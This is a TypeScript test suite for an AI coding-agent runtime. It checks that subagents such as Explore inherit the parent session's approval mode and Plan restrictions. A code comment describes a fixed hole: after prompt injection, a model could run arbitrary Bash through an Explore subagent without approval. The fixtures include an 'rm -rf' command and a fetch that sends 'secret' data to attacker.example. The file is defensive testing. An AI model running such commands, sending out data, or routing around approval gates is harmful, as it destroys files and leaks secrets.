| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575 |
- import { mkdtemp } from "node:fs/promises";
- import { tmpdir } from "node:os";
- import { join } from "node:path";
- import { describe, expect, it } from "vitest";
- import {
- SEND_MESSAGE_TOOL_NAME,
- createSessionId,
- createTraceId,
- createTurnId,
- type CollaborationMode,
- type ExecutionPort,
- type HttpClientPort,
- type PermissionBrokerRequest,
- } from "@zcode/contracts";
- import { PermissionService, defaultPermissionConfig } from "../src/permission/service.js";
- import { createTestAgentRuntime } from "./test-agent-runtime.js";
- import { createTestModelFactory } from "./test-runtime-model.js";
- import { createTestSessionEventStore } from "./test-event-store.js";
- import { createRecordingSubagentSessionStore } from "./subagent-test-store.js";
- // 修复原因:内置 Explore 曾固定以 yolo 和独立权限服务运行,只靠 prompt 约束只读;提示注入后
- // 模型可经 Agent(Explore) 在 build 或 Plan 父会话下免审批执行任意 Bash。现在继承父会话模式与 Plan 状态。
- type ChildToolCall =
- | { name: "Bash"; input: { command: string } }
- | {
- name: "WebFetch";
- input: { url: string; prompt: string };
- };
- async function runExploreChild(input: {
- mode: CollaborationMode;
- planEnabled?: boolean;
- call: ChildToolCall;
- permissionService?: PermissionService;
- }) {
- const executedCommands: string[] = [];
- const fetchedUrls: string[] = [];
- const requests: PermissionBrokerRequest[] = [];
- const childToolResults: string[] = [];
- const childRequests: string[] = [];
- let mainCalls = 0;
- let childCalls = 0;
- const executionPort: ExecutionPort = {
- async run(request) {
- executedCommands.push(JSON.stringify(request.command));
- const now = new Date();
- return {
- status: "completed",
- exitCode: 0,
- stdout: { text: "ok", bytes: 2, truncated: false },
- stderr: { text: "", bytes: 0, truncated: false },
- durationMs: 1,
- timedOut: false,
- cancelled: false,
- startedAt: now,
- completedAt: now,
- };
- },
- } as ExecutionPort;
- const body = new TextEncoder().encode("<html><body>page</body></html>");
- const httpClientPort: HttpClientPort = {
- async request(request) {
- fetchedUrls.push(request.url);
- return {
- body,
- bytes: body.byteLength,
- durationMs: 1,
- headers: { "content-type": "text/html; charset=utf-8" },
- status: 200,
- statusText: "OK",
- url: request.url,
- };
- },
- };
- const runtime = createTestAgentRuntime(
- createSessionId(`explore-permission-${input.mode}-${input.planEnabled ? "plan" : "base"}`),
- {
- mode: input.mode,
- ...(input.planEnabled ? { planEnabled: true } : {}),
- workingDirectory: "/workspace/explore-permission",
- bashShellSelection: { dialect: "posix", source: "auto-detected", display: { name: "bash" } },
- },
- {
- eventStore: createTestSessionEventStore(),
- executionPort,
- httpClientPort,
- ...(input.permissionService ? { permissionService: input.permissionService } : {}),
- permissionBroker: {
- async requestPermission(request) {
- requests.push(request);
- return { decision: "deny", reason: "denied in test" };
- },
- },
- modelFactory: createTestModelFactory({
- async generateText(request, observation) {
- const child =
- (observation.invocationContext?.metadata as { querySource?: string })?.querySource ===
- "subagent";
- const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
- if (child) {
- childRequests.push(JSON.stringify(request));
- childCalls++;
- if (childCalls === 1)
- return {
- finishReason: "tool-calls",
- text: "",
- usage,
- toolCalls: [{ id: "explore-child-tool", ...input.call }],
- };
- childToolResults.push(JSON.stringify(request));
- return { finishReason: "stop", text: "child done", usage };
- }
- if (++mainCalls === 1)
- return {
- finishReason: "tool-calls",
- text: "",
- usage,
- toolCalls: [
- {
- id: "explore-agent",
- name: "Agent",
- input: { description: "explore", prompt: "explore", subagent_type: "Explore" },
- },
- ],
- };
- return { finishReason: "stop", text: "done", usage };
- },
- }),
- },
- );
- await runtime.executeTurn("explore");
- return { childRequests, childToolResults, executedCommands, fetchedUrls, requests };
- }
- const WRITE = { name: "Bash", input: { command: "rm -rf fixture" } } as const;
- const READ = { name: "Bash", input: { command: "grep -n needle file.txt" } } as const;
- const FETCH = {
- name: "WebFetch",
- input: { url: "https://attacker.example/collect?data=secret", prompt: "read" },
- } as const;
- describe("built-in Explore inherits the parent permission mode", () => {
- it("asks the parent before a non-read-only Bash command under build", async () => {
- const result = await runExploreChild({ mode: "build", call: WRITE });
- expect(result.requests).toHaveLength(1);
- expect(result.requests[0]).toMatchObject({
- mode: "build",
- origin: { kind: "subagent" },
- toolName: "Bash",
- });
- expect(result.executedCommands).toEqual([]);
- expect(result.childToolResults.some((request) => request.includes("denied in test"))).toBe(
- true,
- );
- });
- it("runs read-only Bash without asking under build", async () => {
- const result = await runExploreChild({ mode: "build", call: READ });
- expect(result.requests).toEqual([]);
- expect(result.executedCommands).toHaveLength(1);
- });
- it("asks the parent before WebFetch to a URL that is not preapproved under build", async () => {
- const result = await runExploreChild({ mode: "build", call: FETCH });
- expect(result.requests).toHaveLength(1);
- expect(result.requests[0]).toMatchObject({
- toolName: "WebFetch",
- origin: { kind: "subagent" },
- });
- expect(result.fetchedUrls).toEqual([]);
- });
- it("denies non-read-only Bash under a plan parent without asking", async () => {
- const result = await runExploreChild({ mode: "build", planEnabled: true, call: WRITE });
- expect(result.requests).toEqual([]);
- expect(result.executedCommands).toEqual([]);
- expect(
- result.childToolResults.some((request) =>
- request.includes("Plan mode only allows read-only, non-destructive tools"),
- ),
- ).toBe(true);
- });
- it("gives Explore the read-only plan reminder, not the main plan workflow", async () => {
- const result = await runExploreChild({ mode: "build", planEnabled: true, call: READ });
- expect(result.childRequests[0]).toContain("Plan mode is active.");
- expect(result.childRequests[0]).not.toMatch(/ExitPlanMode|### Phase|Explore agents/);
- });
- it("still runs read-only Bash under a plan parent", async () => {
- const result = await runExploreChild({ mode: "build", planEnabled: true, call: READ });
- expect(result.requests).toEqual([]);
- expect(result.executedCommands).toHaveLength(1);
- });
- it("keeps a yolo parent running Explore Bash without approval", async () => {
- const result = await runExploreChild({ mode: "yolo", call: WRITE });
- expect(result.requests).toEqual([]);
- expect(result.executedCommands).toHaveLength(1);
- expect(result.executedCommands[0]).toContain("rm -rf fixture");
- });
- it("applies the parent's disallowed tools to Explore", async () => {
- const result = await runExploreChild({
- mode: "build",
- call: READ,
- permissionService: new PermissionService({
- ...defaultPermissionConfig,
- disallowedTools: new Set(["Bash"]),
- }),
- });
- expect(result.requests).toEqual([]);
- expect(result.executedCommands).toEqual([]);
- });
- });
- // 修复原因:compact 后会重发 Plan 提醒;这条路径没区分子会话,子会话 compact 后又收到了主会话的
- // 五阶段提醒(要求派生 Explore、以 ExitPlanMode 收尾)。
- describe("subagent plan reminder after compact", () => {
- it("re-sends the read-only reminder, not the main plan workflow", async () => {
- const sessionId = createSessionId("subagent-plan-reminder-compact");
- const childRequests: string[] = [];
- const runtime = createTestAgentRuntime(
- sessionId,
- {
- mode: "build",
- planEnabled: true,
- subagents: {
- outputRootDir: await mkdtemp(join(tmpdir(), "zcode-subagent-plan-compact-")),
- profiles: [
- {
- name: "plan-reviewer",
- description: "Review while planning",
- source: "user",
- systemPrompt: "Review carefully.",
- tools: ["Read"],
- },
- ],
- },
- workingDirectory: "/workspace/project",
- },
- {
- eventStore: createTestSessionEventStore(),
- sessionStore: createRecordingSubagentSessionStore(),
- modelFactory: createTestModelFactory({
- async generateText(request, observation) {
- const querySource = (
- observation.invocationContext?.metadata as { querySource?: string }
- )?.querySource;
- const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
- const text = JSON.stringify(request);
- if (text.includes("create a detailed summary"))
- return { finishReason: "stop", text: "<summary>child summary</summary>", usage };
- if (querySource === "subagent") childRequests.push(text);
- return { finishReason: "stop", text: "child turn complete", usage };
- },
- }),
- },
- );
- const subagentPort = (runtime as unknown as { subagentPort: any }).subagentPort;
- const trace = (suffix: string) => ({
- traceId: createTraceId(`trace-subagent-plan-compact-${suffix}`),
- sessionId,
- turnId: createTurnId(`turn-subagent-plan-compact-${suffix}`),
- });
- const first = await subagentPort.run({
- agentType: "plan-reviewer",
- description: "Review",
- parentToolCallId: "call_plan_compact_first",
- prompt: "Review the change.",
- sessionId,
- trace: trace("first"),
- turnId: createTurnId("turn-subagent-plan-compact-first"),
- workingDirectory: "/workspace/project",
- workspaceRoot: "/workspace/project",
- });
- expect(first.status).toBe("completed");
- for (const [message, suffix] of [
- ["/compact", "manual"],
- ["Review again.", "after"],
- ] as const) {
- await subagentPort.sendMessage({
- message,
- parentToolCallId: `call_plan_compact_${suffix}`,
- sessionId,
- summary: `Child ${suffix}`,
- to: first.agentId,
- trace: trace(suffix),
- turnId: createTurnId(`turn-subagent-plan-compact-${suffix}`),
- workingDirectory: "/workspace/project",
- workspaceRoot: "/workspace/project",
- });
- expect((await subagentPort.waitForTask(first.agentId))?.status).toBe("completed");
- }
- const afterCompact = childRequests.at(-1)!;
- expect(afterCompact).toContain("child summary");
- expect(afterCompact).toContain("Plan mode is active.");
- expect(afterCompact).not.toMatch(/### Phase|ExitPlanMode/);
- });
- });
- // 修复原因:SendMessage 恢复子会话时沿用落盘的执行状态,父会话从 yolo 改为 build 后恢复的子会话
- // 仍以 yolo 免审批执行命令;父会话开启 Plan 后恢复的子会话也不在 Plan。
- describe("resumed subagent recomputes its mode from the parent", () => {
- async function resumeChild(input: {
- agentType: "fixture-child" | "Explore";
- firstMode: "yolo" | "build";
- after: { mode?: "build"; planEnabled?: boolean };
- }) {
- const sessionId = createSessionId(
- `resume-mode-${input.agentType}-${input.firstMode}-${JSON.stringify(input.after)}`,
- );
- const executedCommands: string[] = [];
- const requests: PermissionBrokerRequest[] = [];
- const resumedRequests: string[] = [];
- let childCalls = 0;
- const executionPort: ExecutionPort = {
- async run(request) {
- executedCommands.push(JSON.stringify(request.command));
- const now = new Date();
- return {
- status: "completed",
- exitCode: 0,
- stdout: { text: "ok", bytes: 2, truncated: false },
- stderr: { text: "", bytes: 0, truncated: false },
- durationMs: 1,
- timedOut: false,
- cancelled: false,
- startedAt: now,
- completedAt: now,
- };
- },
- } as ExecutionPort;
- const runtime = createTestAgentRuntime(
- sessionId,
- {
- mode: input.firstMode,
- workingDirectory: "/workspace/project",
- bashShellSelection: {
- dialect: "posix",
- source: "auto-detected",
- display: { name: "bash" },
- },
- subagents: {
- outputRootDir: await mkdtemp(join(tmpdir(), "zcode-subagent-resume-mode-")),
- profiles: [
- {
- name: "fixture-child",
- description: "fixture",
- source: "user",
- systemPrompt: "fixture",
- tools: ["Bash"],
- },
- ],
- },
- },
- {
- eventStore: createTestSessionEventStore(),
- sessionStore: createRecordingSubagentSessionStore(),
- executionPort,
- permissionBroker: {
- async requestPermission(request) {
- requests.push(request);
- return { decision: "deny", reason: "denied in test" };
- },
- },
- modelFactory: createTestModelFactory({
- async generateText(request) {
- const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
- childCalls++;
- if (childCalls === 2)
- return {
- finishReason: "tool-calls",
- text: "",
- usage,
- toolCalls: [
- { id: "resumed-rm", name: "Bash", input: { command: "rm -rf fixture" } },
- ],
- };
- if (childCalls === 3) resumedRequests.push(JSON.stringify(request));
- return { finishReason: "stop", text: "child done", usage };
- },
- }),
- },
- );
- const subagentPort = (runtime as unknown as { subagentPort: any }).subagentPort;
- const trace = (suffix: string) => ({
- traceId: createTraceId(`trace-resume-mode-${suffix}`),
- sessionId,
- turnId: createTurnId(`turn-resume-mode-${suffix}`),
- });
- const first = await subagentPort.run({
- agentType: input.agentType,
- description: "first",
- parentToolCallId: "call_resume_mode_first",
- prompt: "first",
- sessionId,
- trace: trace("first"),
- turnId: createTurnId("turn-resume-mode-first"),
- workingDirectory: "/workspace/project",
- workspaceRoot: "/workspace/project",
- });
- expect(first.status).toBe("completed");
- await runtime.setExecutionState(input.after);
- await subagentPort.sendMessage({
- message: "run the command",
- parentToolCallId: "call_resume_mode_resume",
- sessionId,
- summary: "resume",
- to: first.agentId,
- trace: trace("resume"),
- turnId: createTurnId("turn-resume-mode-resume"),
- workingDirectory: "/workspace/project",
- workspaceRoot: "/workspace/project",
- });
- await subagentPort.waitForTask(first.agentId);
- return { executedCommands, requests, resumedRequests };
- }
- it.each(["fixture-child", "Explore"] as const)(
- "asks before %s runs a write command after the parent drops from yolo to build",
- async (agentType) => {
- const result = await resumeChild({ agentType, firstMode: "yolo", after: { mode: "build" } });
- expect(result.requests).toHaveLength(1);
- expect(result.requests[0]).toMatchObject({ mode: "build", toolName: "Bash" });
- expect(result.executedCommands).toEqual([]);
- },
- );
- it("puts the resumed child in Plan after the parent enables Plan", async () => {
- const result = await resumeChild({
- agentType: "fixture-child",
- firstMode: "build",
- after: { planEnabled: true },
- });
- expect(result.requests).toEqual([]);
- expect(result.executedCommands).toEqual([]);
- expect(
- result.resumedRequests.some((request) =>
- request.includes("Plan mode only allows read-only, non-destructive tools"),
- ),
- ).toBe(true);
- });
- it("lets a Plan parent resume a terminal child through the SendMessage tool", async () => {
- // 回归 ZCT-2119028473032097792:SendMessage 曾标为非只读,Plan 闸门直接拒绝,父会话在 Plan 下
- // 无法唤醒已结束的子代理补发报告。上一条用例直接调 port,绕过了工具权限闸门。
- const sessionId = createSessionId("resume-mode-send-message-tool-plan");
- const executedCommands: string[] = [];
- const parentToolResults: string[] = [];
- const resumedRequests: string[] = [];
- let agentId = "";
- let parentCalls = 0;
- let childCalls = 0;
- const executionPort: ExecutionPort = {
- async run(request) {
- executedCommands.push(JSON.stringify(request.command));
- throw new Error("Plan child must not execute commands");
- },
- } as ExecutionPort;
- const runtime = createTestAgentRuntime(
- sessionId,
- {
- mode: "build",
- workingDirectory: "/workspace/project",
- bashShellSelection: {
- dialect: "posix",
- source: "auto-detected",
- display: { name: "bash" },
- },
- subagents: {
- outputRootDir: await mkdtemp(join(tmpdir(), "zcode-subagent-resume-plan-tool-")),
- profiles: [
- {
- name: "fixture-child",
- description: "fixture",
- source: "user",
- systemPrompt: "fixture",
- tools: ["Bash"],
- },
- ],
- },
- },
- {
- eventStore: createTestSessionEventStore(),
- sessionStore: createRecordingSubagentSessionStore(),
- executionPort,
- permissionBroker: {
- async requestPermission() {
- return { decision: "deny", reason: "denied in test" };
- },
- },
- modelFactory: createTestModelFactory({
- async generateText(request, observation) {
- const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
- const querySource = (
- observation.invocationContext?.metadata as { querySource?: string }
- )?.querySource;
- if (querySource !== "subagent") {
- parentCalls++;
- if (parentCalls === 1)
- return {
- finishReason: "tool-calls",
- text: "",
- usage,
- toolCalls: [
- {
- id: "call_plan_send_message",
- name: SEND_MESSAGE_TOOL_NAME,
- input: { to: agentId, summary: "resume", message: "run the command" },
- },
- ],
- };
- // 只记录紧跟 SendMessage 的这次调用:子代理完成后,后台通知会再开一轮父会话调用,
- // 历史里仍带着同一条 tool 消息,不限定就会让长度随断言时机变化。
- if (parentCalls === 2)
- parentToolResults.push(
- ...(request.messages ?? [])
- .filter((message: { role: string }) => message.role === "tool")
- .map((message: unknown) => JSON.stringify(message)),
- );
- return { finishReason: "stop", text: "parent done", usage };
- }
- childCalls++;
- if (childCalls === 2)
- return {
- finishReason: "tool-calls",
- text: "",
- usage,
- toolCalls: [
- { id: "resumed-rm", name: "Bash", input: { command: "rm -rf fixture" } },
- ],
- };
- if (childCalls === 3) resumedRequests.push(JSON.stringify(request));
- return { finishReason: "stop", text: "child done", usage };
- },
- }),
- },
- );
- const subagentPort = (runtime as unknown as { subagentPort: any }).subagentPort;
- const first = await subagentPort.run({
- agentType: "fixture-child",
- description: "first",
- parentToolCallId: "call_resume_plan_tool_first",
- prompt: "first",
- sessionId,
- trace: {
- traceId: createTraceId("trace-resume-plan-tool-first"),
- sessionId,
- turnId: createTurnId("turn-resume-plan-tool-first"),
- },
- turnId: createTurnId("turn-resume-plan-tool-first"),
- workingDirectory: "/workspace/project",
- workspaceRoot: "/workspace/project",
- });
- expect(first.status).toBe("completed");
- agentId = first.agentId;
- await runtime.setExecutionState({ planEnabled: true });
- const result = await runtime.executeTurn("Ask the child to run the command");
- await subagentPort.waitForTask(agentId);
- expect(result.response).toBe("parent done");
- expect(parentToolResults).toHaveLength(1);
- expect(parentToolResults[0]).not.toContain("Plan mode only allows read-only");
- expect(childCalls).toBe(3);
- expect(executedCommands).toEqual([]);
- expect(
- resumedRequests.some((request) =>
- request.includes("Plan mode only allows read-only, non-destructive tools"),
- ),
- ).toBe(true);
- });
- });
|